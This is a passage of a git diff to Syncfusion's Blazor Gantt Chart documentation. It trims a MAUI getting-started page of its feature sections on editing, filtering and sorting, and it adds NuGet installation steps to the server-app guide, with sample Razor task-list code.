 N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in your Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in your Blazor application.
 
-## Add Blazor Gantt Chart component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Gantt Chart component
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Gantt Chart component in the **~/Pages/Home.razor** file.
 
 {% tabs %}
-{% highlight razor %}
-
-<SfGantt DataSource="@TaskCollection" Height="450px" Width="700px">
-    <GanttTaskFields Id="TaskID" Name="TaskName" StartDate="StartDate" EndDate="EndDate" Duration="Duration" Progress="Progress" ParentID="ParentID">
-    </GanttTaskFields>
-</SfGantt>
-
-@code{
-    private List<TaskData> TaskCollection { get; set; }
-    protected override void OnInitialized()
-    {
-        this.TaskCollection = GetTaskCollection();
-    }
-
-    public class TaskData
-    {
-        public int TaskID { get; set; }
-        public string TaskName { get; set; }
-        public DateTime StartDate { get; set; }
-        public DateTime EndDate { get; set; }
-        public string Duration { get; set; }
-        public int Progress { get; set; }
-        public int? ParentID { get; set; }
-    }
-
-    private static List<TaskData> GetTaskCollection()
-    {
-        List<TaskData> Tasks = new List<TaskData>()
-        {
-            new TaskData() { TaskID = 1, TaskName = "Project initiation", StartDate = new DateTime(2022, 01, 04), EndDate = new DateTime(2022, 01, 07), },
-            new TaskData() { TaskID = 2, TaskName = "Identify Site location", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 3, TaskName = "Perform soil test", StartDate = new DateTime(2022, 01, 04), Duration = "4", Progress = 40, ParentID = 1, },
-            new TaskData() { TaskID = 4, TaskName = "Soil test approval", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 5, TaskName = "Project estimation", StartDate = new DateTime(2022, 01, 06), EndDate = new DateTime(2022, 01, 10), },
-            new TaskData() { TaskID = 6, TaskName = "Develop floor plan for estimation", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 30, ParentID = 5, },
-            new TaskData() { TaskID = 7, TaskName = "List materials", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 40, ParentID = 5, },
-            new TaskData() { TaskID = 8, TaskName = "Estimation approval", StartDate = new DateTime(2022, 01, 06), Duration = "0", Progress = 30, ParentID = 5, }
-        };
-        return Tasks;
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VthyWNVzLgvAOlvq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
-
-### How to Run the Sample on Windows
-
-Run the sample in Windows Machine mode, and it will run Blazor MAUI in Windows.
-
-![Blazor Gantt Chart Component](images/blazor-gantt-maui-app.png)
-
-### How to Run the Sample on Android
-
-To run the Blazor Gantt Chart in a Blazor Android MAUI application using the Android emulator, follow these steps:
-
-Refer [here](https://learn.microsoft.com/en-us/dotnet/maui/android/emulator/device-manager#android-device-manager-on-windows) to install and launch Android emulator.
-
-N> If you encounter any errors while using the Android Emulator, refer to the following link for troubleshooting guidance[Troubleshooting Android Emulator](https://learn.microsoft.com/en-us/dotnet/maui/android/emulator/troubleshooting).
-
-## Binding Gantt Chart with Data and mapping task fields
-
-Bind data with the Gantt Chart component by using the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.SfGantt-1.html#Syncfusion_Blazor_Gantt_SfGantt_1_DataSource) property. It accepts the list objects or the DataManager instance. 
-
-Additionally, task-related fields from the data source are mapped to the Gantt Chart component using the [GanttTaskFields](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html) property. This property ensures that the necessary task fields, such as [Id](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html#Syncfusion_Blazor_Gantt_GanttTaskFields_Id), [Name](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html#Syncfusion_Blazor_Gantt_GanttTaskFields_Name), [StartDate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html#Syncfusion_Blazor_Gantt_GanttTaskFields_StartDate), [EndDate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html#Syncfusion_Blazor_Gantt_GanttTaskFields_EndDate), [Duration](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html#Syncfusion_Blazor_Gantt_GanttTaskFields_Duration), and [ParentID](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html#Syncfusion_Blazor_Gantt_GanttTaskFields_ParentID) are properly linked to the corresponding data source fields, allowing the Gantt Chart to render tasks accurately. The columns in the Gantt Chart are automatically rendered based on the properties specified in `GanttTaskFields`, ensuring that the necessary columns are displayed to represent the task data.
-
-This following sample shows self-referential data binding in the Gantt Chart by mapping the data source fields to the `Id` and `ParentID` properties. For more detailed information, refer to the [documentation](https://blazor.syncfusion.com/documentation/gantt-chart/data-binding#self-referential--flat-data-binding).
-
-{% tabs %}
-{% highlight razor %}
-
-@using Syncfusion.Blazor.Grids
-
-<SfGantt DataSource="@TaskCollection" Height="450px" Width="700px">
-    <GanttTaskFields Id="TaskID" Name="TaskName" StartDate="StartDate" EndDate="EndDate" Duration="Duration" Progress="Progress" ParentID="ParentID">
-    </GanttTaskFields>
-    <GanttColumns>
-        <GanttColumn Field="TaskID" HeaderText="Task ID" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right" Width="100"></GanttColumn>
-        <GanttColumn Field="TaskName" HeaderText="Task Name" Width="250"></GanttColumn>
-        <GanttColumn Field="StartDate" HeaderText="Start Date" Width="250"></GanttColumn>
-        <GanttColumn Field="Duration" HeaderText="Duration" Width="250"></GanttColumn>
-        <GanttColumn Field="Progress" HeaderText="Progress" Format="@NumberFormat" Width="250"></GanttColumn>
-    </GanttColumns>
-</SfGantt>
-
-@code{
-    private List<TaskData> TaskCollection { get; set; }
-    private string NumberFormat = "C";
-    protected override void OnInitialized()
-    {
-        this.TaskCollection = GetTaskCollection();
-    }
-
-    public class TaskData
-    {
-        public int TaskID { get; set; }
-        public string TaskName { get; set; }
-        public DateTime StartDate { get; set; }
-        public DateTime EndDate { get; set; }
-        public string Duration { get; set; }
-        public int Progress { get; set; }
-        public int? ParentID { get; set; }
-    }
-
-    private static List<TaskData> GetTaskCollection()
-    {
-        List<TaskData> Tasks = new List<TaskData>()
-        {
-            new TaskData() { TaskID = 1, TaskName = "Project initiation", StartDate = new DateTime(2022, 01, 04), EndDate = new DateTime(2022, 01, 07), },
-            new TaskData() { TaskID = 2, TaskName = "Identify Site location", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 3, TaskName = "Perform soil test", StartDate = new DateTime(2022, 01, 04), Duration = "4", Progress = 40, ParentID = 1, },
-            new TaskData() { TaskID = 4, TaskName = "Soil test approval", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 5, TaskName = "Project estimation", StartDate = new DateTime(2022, 01, 06), EndDate = new DateTime(2022, 01, 10), },
-            new TaskData() { TaskID = 6, TaskName = "Develop floor plan for estimation", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 30, ParentID = 5, },
-            new TaskData() { TaskID = 7, TaskName = "List materials", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 40, ParentID = 5, },
-            new TaskData() { TaskID = 8, TaskName = "Estimation approval", StartDate = new DateTime(2022, 01, 06), Duration = "0", Progress = 30, ParentID = 5, }
-        };
-        return Tasks;
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hjLeMZLfLAFkPmGF?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
-
-## Defining columns
-
-The Gantt Chart has an option to define columns using the [GanttColumns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttColumns.html) component. To configure each column, use the following properties:
-
-* [Field](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttColumn.html#Syncfusion_Blazor_Gantt_GanttColumn_Field): Maps the data source fields to the columns.
-* [HeaderText](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttColumn.html#Syncfusion_Blazor_Gantt_GanttColumn_HeaderText): Changes the title of columns.
-* [TextAlign](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttColumn.html#Syncfusion_Blazor_Gantt_GanttColumn_TextAlign): Changes the alignment of columns. By default, columns will be left aligned. To change the columns to right align, set `TextAlign` to right.
-* [Format](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttColumn.html#Syncfusion_Blazor_Gantt_GanttColumn_Format): Formats the number and date values to standard or custom formats. Here, it is defined for the conversion of numeric values to currency.
-* [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttColumn.html#Syncfusion_Blazor_Gantt_GanttColumn_Visible): Show or hide a particular column. By default, columns are visible. Set this property to **false** to hide the column or **true** to make it visible.
-* [Width](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttColumn.html#Syncfusion_Blazor_Gantt_GanttColumn_Width): To specify the width of the column, which can be defined in **pixels** or as a **percentage** of the total column width.
-
-{% tabs %}
-{% highlight razor %}
-
-@using Syncfusion.Blazor.Grids
-
-<SfGantt DataSource="@TaskCollection" Height="450px" Width="700px">
-    <GanttTaskFields Id="TaskID" Name="TaskName" StartDate="StartDate" EndDate="EndDate" Duration="Duration" Progress="Progress" ParentID="ParentID">
-    </GanttTaskFields>
-    <GanttColumns>
-        <GanttColumn Field="TaskID" HeaderText="Task ID" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right" Width="100"></GanttColumn>
-        <GanttColumn Field="TaskName" HeaderText="Task Name" Width="250"></GanttColumn>
-        <GanttColumn Field="StartDate" HeaderText="Start Date" Width="250"></GanttColumn>
-        <GanttColumn Field="Duration" HeaderText="Duration" Width="250"></GanttColumn>
-        <GanttColumn Field="Progress" HeaderText="Progress" Format="@NumberFormat" Width="250"></GanttColumn>
-    </GanttColumns>
-</SfGantt>
-
-@code{
-    private List<TaskData> TaskCollection { get; set; }
-    private string NumberFormat = "C";
-    protected override void OnInitialized()
-    {
-        this.TaskCollection = GetTaskCollection();
-    }
-
-    public class TaskData
-    {
-        public int TaskID { get; set; }
-        public string TaskName { get; set; }
-        public DateTime StartDate { get; set; }
-        public DateTime EndDate { get; set; }
-        public string Duration { get; set; }
-        public int Progress { get; set; }
-        public int? ParentID { get; set; }
-    }
-
-    private static List<TaskData> GetTaskCollection()
-    {
-        List<TaskData> Tasks = new List<TaskData>()
-        {
-            new TaskData() { TaskID = 1, TaskName = "Project initiation", StartDate = new DateTime(2022, 01, 04), EndDate = new DateTime(2022, 01, 07), },
-            new TaskData() { TaskID = 2, TaskName = "Identify Site location", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 3, TaskName = "Perform soil test", StartDate = new DateTime(2022, 01, 04), Duration = "4", Progress = 40, ParentID = 1, },
-            new TaskData() { TaskID = 4, TaskName = "Soil test approval", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 5, TaskName = "Project estimation", StartDate = new DateTime(2022, 01, 06), EndDate = new DateTime(2022, 01, 10), },
-            new TaskData() { TaskID = 6, TaskName = "Develop floor plan for estimation", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 30, ParentID = 5, },
-            new TaskData() { TaskID = 7, TaskName = "List materials", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 40, ParentID = 5, },
-            new TaskData() { TaskID = 8, TaskName = "Estimation approval", StartDate = new DateTime(2022, 01, 06), Duration = "0", Progress = 30, ParentID = 5, }
-        };
-        return Tasks;
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
+{% highlight razor tabtitle="Home.razor" %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VZLeWDVzBAiIgBkv?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
-
-For further details regarding columns, refer [here](https://blazor.syncfusion.com/documentation/gantt-chart/columns).
-
-## Enable editing
-
-The editing feature enables you to edit the tasks in the Gantt Chart component. To activate this functionality, set both [EditSettings.AllowEditing](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttEditSettings.html#Syncfusion_Blazor_Gantt_GanttEditSettings_AllowEditing) and [EditSettings.AllowTaskbarEditing](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttEditSettings.html#Syncfusion_Blazor_Gantt_GanttEditSettings_AllowTaskbarEditing)  properties to **true**.
-
-{% tabs %}
-{% highlight razor %}
+@using Syncfusion.Blazor.Gantt
 
 <SfGantt DataSource="@TaskCollection" Height="450px" Width="700px">
     <GanttTaskFields Id="TaskID" Name="TaskName" StartDate="StartDate" EndDate="EndDate" Duration="Duration" Progress="Progress" ParentID="ParentID">
     </GanttTaskFields>
-    <GanttEditSettings AllowEditing="true" Mode="Syncfusion.Blazor.Gantt.EditMode.Auto" AllowTaskbarEditing="true"></GanttEditSettings>
-</SfGantt>
-
-@code{
-    private List<TaskData> TaskCollection { get; set; }
-    protected override void OnInitialized()
-    {
-        this.TaskCollection = GetTaskCollection();
-    }
-
-    public class TaskData
-    {
-        public int TaskID { get; set; }
-        public string TaskName { get; set; }
-        public DateTime StartDate { get; set; }
-        public DateTime EndDate { get; set; }
-        public string Duration { get; set; }
-        public int Progress { get; set; }
-        public int? ParentID { get; set; }
-    }
-
-    private static List<TaskData> GetTaskCollection()
-    {
-        List<TaskData> Tasks = new List<TaskData>()
-        {
-            new TaskData() { TaskID = 1, TaskName = "Project initiation", StartDate = new DateTime(2022, 01, 04), EndDate = new DateTime(2022, 01, 07), },
-            new TaskData() { TaskID = 2, TaskName = "Identify Site location", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 3, TaskName = "Perform soil test", StartDate = new DateTime(2022, 01, 04), Duration = "4", Progress = 40, ParentID = 1, },
-            new TaskData() { TaskID = 4, TaskName = "Soil test approval", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 5, TaskName = "Project estimation", StartDate = new DateTime(2022, 01, 06), EndDate = new DateTime(2022, 01, 10), },
-            new TaskData() { TaskID = 6, TaskName = "Develop floor plan for estimation", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 30, ParentID = 5, },
-            new TaskData() { TaskID = 7, TaskName = "List materials", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 40, ParentID = 5, },
-            new TaskData() { TaskID = 8, TaskName = "Estimation approval", StartDate = new DateTime(2022, 01, 06), Duration = "0", Progress = 30, ParentID = 5, }
-        };
-        return Tasks;
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VZLeWDVzBAiIgBkv?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
-
-N> When the edit mode is set to `Auto`, you can change the cells to editable mode by double-clicking anywhere at the Tree Grid and edit the task details in the edit dialog by double-clicking anywhere at the chart.
-
-You can find the full information regarding Editing from [here](https://blazor.syncfusion.com/documentation/gantt-chart/managing-tasks)
-
-## Enable filtering
-
-The filtering feature enables you to view the reduced amount of records based on filter criteria. The Gantt Chart supports column-wise menu filtering. To enable this feature, set the [AllowFiltering](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.SfGantt-1.html#Syncfusion_Blazor_Gantt_SfGantt_1_AllowFiltering) property to **true**. The filtering behavior can be customized using the [FilterSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.SfGantt-1.html#Syncfusion_Blazor_Gantt_SfGantt_1_FilterSettings) property.
-
-{% tabs %}
-{% highlight razor %}
-
-<SfGantt DataSource="@TaskCollection" Height="450px" Width="700px" AllowFiltering="true">
-    <GanttTaskFields Id="TaskID" Name="TaskName" StartDate="StartDate" EndDate="EndDate" Duration="Duration" Progress="Progress" ParentID="ParentID">
-    </GanttTaskFields>
-</SfGantt>
-
-@code{
-    private List<TaskData> TaskCollection { get; set; }
-    protected override void OnInitialized()
-    {
-        this.TaskCollection = GetTaskCollection();
-    }
-
-    public class TaskData
-    {
-        public int TaskID { get; set; }
-        public string TaskName { get; set; }
-        public DateTime StartDate { get; set; }
-        public DateTime EndDate { get; set; }
-        public string Duration { get; set; }
-        public int Progress { get; set; }
-        public int? ParentID { get; set; }
-    }
-
-    private static List<TaskData> GetTaskCollection()
-    {
-        List<TaskData> Tasks = new List<TaskData>()
-        {
-            new TaskData() { TaskID = 1, TaskName = "Project initiation", StartDate = new DateTime(2022, 01, 04), EndDate = new DateTime(2022, 01, 07), },
-            new TaskData() { TaskID = 2, TaskName = "Identify Site location", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 3, TaskName = "Perform soil test", StartDate = new DateTime(2022, 01, 04), Duration = "4", Progress = 40, ParentID = 1, },
-            new TaskData() { TaskID = 4, TaskName = "Soil test approval", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 5, TaskName = "Project estimation", StartDate = new DateTime(2022, 01, 06), EndDate = new DateTime(2022, 01, 10), },
-            new TaskData() { TaskID = 6, TaskName = "Develop floor plan for estimation", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 30, ParentID = 5, },
-            new TaskData() { TaskID = 7, TaskName = "List materials", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 40, ParentID = 5, },
-            new TaskData() { TaskID = 8, TaskName = "Estimation approval", StartDate = new DateTime(2022, 01, 06), Duration = "0", Progress = 30, ParentID = 5, }
-        };
-        return Tasks;
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rjheMNhfrqtjOYfG?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
-
-You can find the full information regarding Filtering from [here](https://blazor.syncfusion.com/documentation/gantt-chart/filtering)
-
-## Enable sorting
-
-The sorting feature enables you to order the records. To enable sorting in the Gantt Chart, set the [AllowSorting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.SfGantt-1.html#Syncfusion_Blazor_Gantt_SfGantt_1_AllowSorting) property to **true**. The sorting behavior can be customized using the [SortSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.SfGantt-1.html#Syncfusion_Blazor_Gantt_SfGantt_1_SortSettings) property to define the sorting configuration.
-
-{% tabs %}
-{% highlight razor %}
-
-<SfGantt DataSource="@TaskCollection" Height="450px" Width="700px" AllowSorting="true">
-    <GanttTaskFields Id="TaskID" Name="TaskName" StartDate="StartDate" EndDate="EndDate" Duration="Duration" Progress="Progress" ParentID="ParentID">
-    </GanttTaskFields>
 </SfGantt>
 
 @code{
@@ -506,115 +181,32 @@ The sorting feature enables you to order the records. To enable sorting in the G
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LjLeCZLJVrvlKPai?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
-
-You can find the full information regarding Sorting from [here](https://blazor.syncfusion.com/documentation/gantt-chart/sorting)
-
-## Enabling Predecessors or task relationships
-
-The Gantt Chart component supports task dependencies to define the logical sequence of task execution. These relationships control the scheduling behavior between tasks based on their start and finish times.
-
-- **Start to Start (SS)**: The successor task begins when the predecessor task begins.
-- **Start to Finish (SF)**: The successor task finishes when the predecessor task begins.
-- **Finish to Start (FS)**: The successor task begins when the predecessor task finishes.
-- **Finish to Finish (FF)**: The successor task finishes when the predecessor task finishes.
-
-These relationships can be configured using the [Dependency](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html#Syncfusion_Blazor_Gantt_GanttTaskFields_Dependency) property in the task data.
-
-{% tabs %}
-{% highlight razor %}
-
-<SfGantt DataSource="@TaskCollection" Height="450px" Width="700px">
-    <GanttTaskFields Id="TaskID" Name="TaskName" StartDate="StartDate" EndDate="EndDate" Duration="Duration" Progress="Progress" ParentID="ParentID" Dependency="Predecessor">
-    </GanttTaskFields>
-</SfGantt>
-
-@code{
-    private List<TaskData> TaskCollection { get; set; }
-    protected override void OnInitialized()
-    {
-        this.TaskCollection = GetTaskCollection();
-    }
-
-    public class TaskData
-    {
-        public int TaskID { get; set; }
-        public string TaskName { get; set; }
-        public DateTime StartDate { get; set; }
-        public DateTime EndDate { get; set; }
-        public string Duration { get; set; }
-        public int Progress { get; set; }
-        public string Predecessor { get; set; }
-        public int? ParentID { get; set; }
-    }
-
-    public static List<TaskData> GetTaskCollection()
-    {
-        List<TaskData> Tasks = new List<TaskData>() {
-            new TaskData() { TaskID = 1, TaskName = "Project initiation", StartDate = new DateTime(2022, 04, 05), EndDate = new DateTime(2022, 04, 21), },
-            new TaskData() { TaskID = 2, TaskName = "Identify Site location", StartDate = new DateTime(2022, 04, 05), Duration = "4", Progress = 50, ParentID = 1 },
-            new TaskData() { TaskID = 3, TaskName = "Perform soil test", StartDate = new DateTime(2022, 04, 05), Duration = "4", Progress = 50, ParentID = 1, Predecessor = "2" }
-        };
-        return Tasks;
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LjrSsXrzhfcIfBtG?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VthyWNVzLgvAOlvq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
 
-You can find the full information regarding Predecessors from [here](https://blazor.syncfusion.com/documentation/gantt-chart/task-dependencies)
+### Run the application
 
-## Handling exceptions
+**Visual Studio**:
 
-Exceptions triggered during Gantt operations can be handled effectively without interrupting the application. These errors are captured using the [OnActionFailure](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttEvents-1.html#Syncfusion_Blazor_Gantt_GanttEvents_1_OnActionFailure) event, which provides detailed information returned from the server. This allows for appropriate handling, logging, or user notification without affecting the overall workflow.
+* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the .NET MAUI Blazor Hybrid app.
+The application will open as a native app.
 
-The following sample code demonstrates notifying user when server-side exception has occurred during data operation,
+### How to run the sample on Windows
 
-{% tabs %}
-{% highlight razor %}
+Run the sample in Windows Machine mode, and it will run Blazor MAUI in Windows.
 
-@using Syncfusion.Blazor
-@using Syncfusion.Blazor.Data
-@using Syncfusion.Blazor.Gantt
-@using Syncfusion.Blazor.Grids
+![Blazor Gantt Chart Component](images/blazor-gantt-maui-app.webp)
 
-<label class="error" style="display:block; color: red; margin-bottom: 20px;">@ErrorDetails</label>
-<SfGantt TValue="TaskData" Height="450px" Width="700px">
-     <SfDataManager Url="https://some.com/invalidUrl" Adaptor="Adaptors.UrlAdaptor"></SfDataManager>
-    <GanttTaskFields Id="TaskID" Name="TaskName" StartDate="StartDate" EndDate="EndDate" Duration="Duration"
-        Progress="Progress" ParentID="ParentID">
-    </GanttTaskFields>
-    <GanttEvents TValue="TaskData" OnActionFailure="ActionFailure"></GanttEvents>
-</SfGantt>
+### How to run the sample on Android
 
-@code{
-    private string ErrorDetails = "";
-    public class TaskData
-    {
-        public int TaskID { get; set; }
-        public string TaskName { get; set; }
-        public DateTime? StartDate { get; set; }
-        public DateTime? EndDate { get; set; }
-        public string Duration { get; set; }
-        public int Progress { get; set; }
-        public int? ParentID { get; set; }
-    }
+Run the sample in Android Emulator mode, and it will launch the Blazor MAUI application on the configured Android virtual device.
 
-    public void ActionFailure(Syncfusion.Blazor.Grids.FailureEventArgs args)
-    {
-        this.ErrorDetails = args.Error.Message.ToString();
-        StateHasChanged();
-    }
-}
+![Blazor Gantt Chart Component](blazor-gantt-maui-android.webp)
 
-{% endhighlight %}
-{% endtabs %}
+To run the Blazor Gantt Chart in a Blazor Android MAUI application using the Android emulator, follow these steps:
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VXrosNrTBJxCLRgJ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
+Refer [here](https://learn.microsoft.com/en-us/dotnet/maui/android/emulator/device-manager#android-device-manager-on-windows) to install and launch Android emulator.
 
-N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/GanttChart).
+N> If encounter any errors while using the Android Emulator, refer to the following link for troubleshooting guidance [Troubleshooting Android Emulator](https://learn.microsoft.com/en-us/dotnet/maui/android/emulator/troubleshooting).
 
 ## See also
 
diff --git a/blazor/gantt-chart/getting-started-with-server-app.md b/blazor/gantt-chart/getting-started-with-server-app.md
index 2eadd2d442..3871ae3359 100644
--- a/blazor/gantt-chart/getting-started-with-server-app.md
+++ b/blazor/gantt-chart/getting-started-with-server-app.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Getting started with Blazor Gantt Chart in Blazor server app
 
-This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Gantt Chart](https://www.syncfusion.com/blazor-components/blazor-gantt-chart) component in your Blazor server app using Visual Studio and Visual Studio code.
+This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Gantt Chart](https://www.syncfusion.com/blazor-components/blazor-gantt-chart) component in your Blazor server app using Visual Studio and Visual Studio Code.
 
 > **Ready to streamline your Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor development?** <br/>Discover the full potential of Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components with Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants. Effortlessly integrate, configure, and enhance your projects with intelligent, context-aware code suggestions, streamlined setups, and real-time insights—all seamlessly integrated into your preferred AI-powered IDEs like VS Code, Cursor, Syncfusion<sup style="font-size:70%">&reg;</sup> CodeStudio and more. [Explore Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants](https://blazor.syncfusion.com/documentation/ai-coding-assistants/overview)
 
@@ -25,6 +25,25 @@ This section briefly explains about how to include [Syncfusion<sup style="font-s
 
 Create a **Blazor Server App** by using the **Blazor Web App** template in Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor Server App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio) documentation.
 
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Once the project is created, install [Syncfusion.Blazor.Gantt](https://www.nuget.org/packages/Syncfusion.Blazor.Gantt/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager.
+
+1. Go to **Tools → NuGet Package Manager → Manage NuGet Packages for Solution**
+2. Search for `Syncfusion.Blazor.Gantt` and install the latest version
+3. Search for `Syncfusion.Blazor.Themes` and install the latest version
+
+Alternatively, run the following commands in the Package Manager Console:
+
+{% tabs %}
+{% highlight C# tabtitle="Package Manager" %}
+
+Install-Package Syncfusion.Blazor.Gantt -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
+
+{% endhighlight %}
+{% endtabs %}
+
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -37,17 +56,30 @@ Create a **Blazor Server App** by using the **Blazor Web App** template in Visua
 
 Create a **Blazor Server App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor Server App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a Server application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a Server application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>):
 
 {% tabs %}
-
 {% highlight c# tabtitle="Blazor Server App" %}
 
 dotnet new blazor -o BlazorApp -int Server
 cd BlazorApp
 
 {% endhighlight %}
+{% endtabs %}
+
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Then, install [Syncfusion.Blazor.Gantt](https://www.nuget.org/packages/Syncfusion.Blazor.Gantt/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the integrated terminal.
+
+Run the following commands in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>):
+
